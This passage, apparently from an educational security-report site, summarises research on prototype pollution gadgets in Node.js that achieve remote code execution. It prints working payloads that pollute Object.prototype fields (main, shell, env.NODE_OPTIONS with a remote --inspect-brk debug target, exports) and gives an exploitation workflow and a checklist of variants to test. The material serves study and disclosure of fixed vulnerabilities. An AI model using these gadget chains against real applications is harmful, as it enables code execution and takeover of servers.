The next gadget targets require and import, the two ways JavaScript loads other code:

JavaScript
Object.prototype.main = "./../../pwned.js" // trigger call
require('my-package')

Line by line:

  1. Object.prototype.main = "./../../pwned.js" puts a main field on the shared template, pointing at a file the attacker wants loaded.
  2. require('my-package') loads a package. The precondition is that my-package has no main field in its package.json, the small file that tells Node.js which file is the package's entry point.

When the package has no main of its own, the polluted main is used to fetch the code to run instead of the legitimate module code. The attacker can therefore load any file from disk, for example one that calls command execution APIs. The paper names the growl package, whose test.js invokes the package with different test values and which uses spawn internally, and a file shipped with the NPM command-line tool, npm/scripts/changelog.js. The authors state this is, to the best of their knowledge, the first evidence ever reported that hijacking control flow through code reuse attacks is possible in Node.js. Code reuse here means the attacker does not write new code into the program; they make the program run code that was already sitting on the disk.

The two gadgets can be combined:

JavaScript
// pollutions for the first gadget
Object.prototype.main = "/path/to/npm/scripts/changelog.js";
// pollutions for the second gadget
Object.prototype.shell = "node";
Object.prototype.env = {};
Object.prototype.env.NODE_OPTIONS = "--inspect-brk=[redacted]:1337";
// trigger call
require("bytes");

Line by line:

  1. Object.prototype.main = "/path/to/npm/scripts/changelog.js"; points the package entry point at a file that ships with NPM.
  2. Object.prototype.shell = "node"; sets the command to run to Node.js itself.
  3. Object.prototype.env = {}; creates the environment object.
  4. Object.prototype.env.NODE_OPTIONS = "--inspect-brk=[redacted]:1337"; sets the debug flag inside it.
  5. require("bytes"); loads the bytes package, which has no main of its own, so the first gadget loads changelog.js instead.

changelog.js in turn calls execSync, which triggers the second gadget, starting a Node.js process with a debugging session. Two separate gadgets, each with its own precondition, combine into one powerful universal gadget.

Another gadget loads arbitrary files by polluting 1 and exports:

JavaScript
let rootProto = Object.prototype;
rootProto["exports"] = {".":"./changelog.js"};
rootProto["1"] = "/path/to/npm/scripts/";
// trigger call
require("./target.js");

Line by line:

  1. let rootProto = Object.prototype; keeps a handle on the shared template.
  2. rootProto["exports"] = {".":"./changelog.js"}; puts an exports field on it, mapping the package root to a file.
  3. rootProto["1"] = "/path/to/npm/scripts/"; puts a field literally named 1 on it, holding a directory path.
  4. require("./target.js"); asks to load a file by relative path.

While resolving a relative path, require checks whether the target is an ES6 module, a newer style of JavaScript module. During this process the polluted field 1 is read through a destructuring operator in /internal/modules/cjs/loader.js:

JavaScript
const { 1: name, 2: expansion = "" } = StringPrototypeMatch(...) || [];

Line by line:

  1. const { 1: name, 2: expansion = "" } = ... takes the value at position 1 of a list and calls it name, and the value at position 2 and calls it expansion, defaulting to an empty string.
  2. StringPrototypeMatch(...) || [] is the list being read; if the match fails, an empty list is used.

Because the list lookup falls back to the shared prototype, the attacker-controlled value becomes the target module's name. require then wrongly concludes that ./target.js resolves to /path/to/npm/scripts/ and that the path is an ES6 module. The exports field supplies the entry point for this non-existent module, and even without a package.json at the target location, require treats it as a valid module path. This gadget does not work on older Node.js versions such as 14.15.0, so a recent Node.js version is a precondition.

To estimate how common the triggers are, the authors measured the 10,000 NPM packages that the most other packages depend on: 1,958 have no main entry (G4, G5, G10), 4,420 use relative paths inside require statements (G6, G8, G11), and 355 directly use the command injection API (G1, G2, G3). They call this an upper bound, for three reasons. The attacker may struggle to invoke the trigger through the package's public interface. Polluting the field 1 may have unintended side effects that stop the gadget working. And the pollution often needs to happen during the application's startup, before the gadget runs.

Step 4: End-to-end exploitation

The workflow starts with the Priority query with Any Functions as entry points. The query reports potential injection sinks and the functions that pass tainted data to them. That list includes real entry points and also functions that take data from the environment, such as a database. For the latter, a call flow analysis finds the application entry points. The analyst then manually sorts each case into false alarm or local issue, filtering out cases that cannot run in the normal workflow, such as patterns in test code and development tools. For suspicious cases the analyst uses the detected entry points to build a first payload and tries it on the application, going back with tools such as a debugger if it fails. If the pollution is confirmed, the next step is to find gadget triggers. The universal gadget entry points are extended with functions that evaluate JavaScript code given as text (eval(), new Function(), new vm.Script), and a call graph analysis finds calls to these functions and the entry points that reach them. The analyst must confirm the gadget runs after the injection sink and build a payload that pollutes the required fields. The input can be read from the polluted field, or execution can depend on a condition that uses it.

This methodology produced eight exploitable RCE vulnerabilities in three high-profile applications: NPM CLI, Parse Server and Rocket.Chat.

Root cause

The root cause is the permissive nature of JavaScript's prototype-based inheritance. Most objects share the root prototype, so an attacker who controls a field name used in a bracket access can reach Object.prototype and write arbitrary fields to it. Every object that inherits from it then reflects the change. The vulnerable pattern is obj[prototype][property] = value, where the attacker controls the prototype access and, in the priority case, the field name and value.

Existing defences did not stop this. Earlier static analyses achieved high precision but low recall, so they missed flaws in real applications. Earlier work also treated any change to the root prototype as the attack, focusing on denial of service, and did not address gadget detection. The authors note that CodeQL's built-in models of JavaScript features were insufficient in practice, and they iteratively fixed language features such as arrays and reflection calls to improve the tracking. The paper also provides initial evidence that unused code shipped with applications, such as third-party dependencies, can be leveraged as part of code reuse attacks, which motivates debloating techniques like Mininode. Debloating means removing code that is never used, so there is less for an attacker to reuse.

Impact

An attacker who controls the untrusted entry points of a Node.js application, such as HTTP connections or untrusted database reads, can achieve arbitrary code execution on the application. The universal gadgets appear in code that runs with the Node.js runtime, so they are available in any Node.js application, and the attacker only needs to control the injection sinks that reach a gadget. The paper states that the existence of this gadget implies that every Node.js application vulnerable to prototype pollution and using a command execution API after a pollution is vulnerable to RCE, provided the call site does not set an options argument. The require gadgets let an attacker load arbitrary files from disk, and the combined gadget starts a Node.js process with a debugging session. The authors describe prototype pollution as a critical security vulnerability in the current Node.js landscape, while noting the prevalence figures are an upper bound and that some gadgets have preconditions such as a recent Node.js version or a pollution before the gadget runs.

Fix

The eight RCE vulnerabilities were responsibly disclosed to the developers and are now fixed, acknowledged with a high-severity advisory and bug bounties. The authors say the finding motivates debloating techniques like Mininode, and they argue that tools tuned for offensive security can afford false positives.

Variants to test

  1. Command execution APIs: pollute shell and env (with env.NODE_OPTIONS) and call spawn, spawnSync, exec, execSync or execFileSync without an explicit options argument. A positive result is a new process with the debug port open or an arbitrary command executed.
  2. Package loading: pollute main and require a package whose package.json has no main entry. A positive result is an arbitrary file from disk being loaded instead of the module.
  3. Relative path resolution: pollute exports and 1 and require a relative path. A positive result is the path resolving to an attacker-controlled directory treated as an ES6 module, on a recent Node.js version.
  4. Combined chain: pollute main to point at a file that calls a command execution API, then pollute shell and env and require a package. A positive result is a Node.js process started with a debugging session.
  5. Code evaluation: look for eval(), new Function() or new vm.Script reached from application entry points, and check whether the input can be read from a polluted field or whether execution depends on a condition that uses it. A positive result is attacker-controlled code evaluated in the runtime.
  6. Context gadgets: pollute contextExtensions and require a relative path or compile a function in a new context. A positive result is overwritten global variables of the file or function.

Glossary

  • API: a documented function that a program can call, like a labelled button on a control panel.
  • Attack sink: the place where damage happens, such as a function that starts a new process.
  • Bug bounty: a reward paid by a company to someone who reports a security bug responsibly.
  • Call graph: a map of which function calls which.
  • Callback: a function passed to another function to be called later.
  • CodeQL: GitHub's tool that turns code into a searchable database so you can ask questions about it.
  • Context-sensitive: an analysis that keeps track of which call it is inside, so data from one caller is not confused with another's.
  • CVE: a public identifier for a known security vulnerability.
  • Datalog: a logical model used underneath the QL query language.
  • Debloating: removing code that is never used, so there is less for an attacker to reuse.
  • Denial of service (DoS): an attack that makes a program crash or stop working, without taking it over.
  • Destructuring: a JavaScript shortcut for pulling values out of an object or list by position or name.
  • Dynamic analysis: examining a program by running it and watching what happens.
  • Entry point: a place where outside data enters an application, such as an HTTP connection or a database read.
  • ES6 module: a newer style of JavaScript module with its own import and export rules.
  • Exported function: a function a package offers to the outside world.
  • False positive: an alarm raised by a scanner for something that is not actually a bug.
  • Gadget: innocent-looking code that reads a polluted field and passes it to a dangerous operation.
  • Getter: a trap that runs whenever a field is read, so the read can be logged.
  • Injection sink: the spot where attacker data gets written, such as a field of an object.
  • Multi-label taint analysis: tracking untrusted data with more than one marker, here input and proto.
  • Node.js: a program that lets JavaScript run on a server instead of inside a browser.
  • NPM CLI: the command-line tool that installs JavaScript packages, bundled with Node.js.
  • Object: a bundle of named values in JavaScript, like a form with labelled fields.
  • Object injection vulnerability (OIV): a class of bug where an attacker makes a program create an object of an unexpected type, triggering unused code.
  • Package: a reusable chunk of code that other projects install, like a spare part.
  • Precision: how often a scanner's alarms are real bugs.
  • Prototype: a shared template that objects inherit default fields from.
  • Prototype pollution: adding a field to the shared root prototype so every object inherits it.
  • Prototype-based object injection vulnerability (POIV): the authors' name for pollution combined with a gadget that reaches an attack sink.
  • QL: the declarative query language used with CodeQL.
  • Recall: how many of the real bugs a scanner manages to find.
  • Remote code execution (RCE): an attack where the attacker gets their own code running on the victim's machine.
  • Reverse shell: a connection that lets an attacker type commands on the victim machine from their own.
  • Root prototype (Object.prototype): the single shared template most JavaScript objects inherit from.
  • SMB: the file-sharing protocol Windows uses to talk to other machines.
  • Static analysis: examining code without running it.
  • Taint tracking: following untrusted data through a program, like tracking a drop of dye through plumbing.
  • Universal gadget: a gadget inside Node.js itself, present in every application that runs on Node.js.
  • Zero-day: a previously unknown bug with no fix available yet.

Similar reports

View all

Same bug class and techniques, clearest first.

Prototype pollution

The lesson behind this report.

Input changes JavaScript's shared object prototype, altering behaviour across the application, sometimes to XSS or code execution.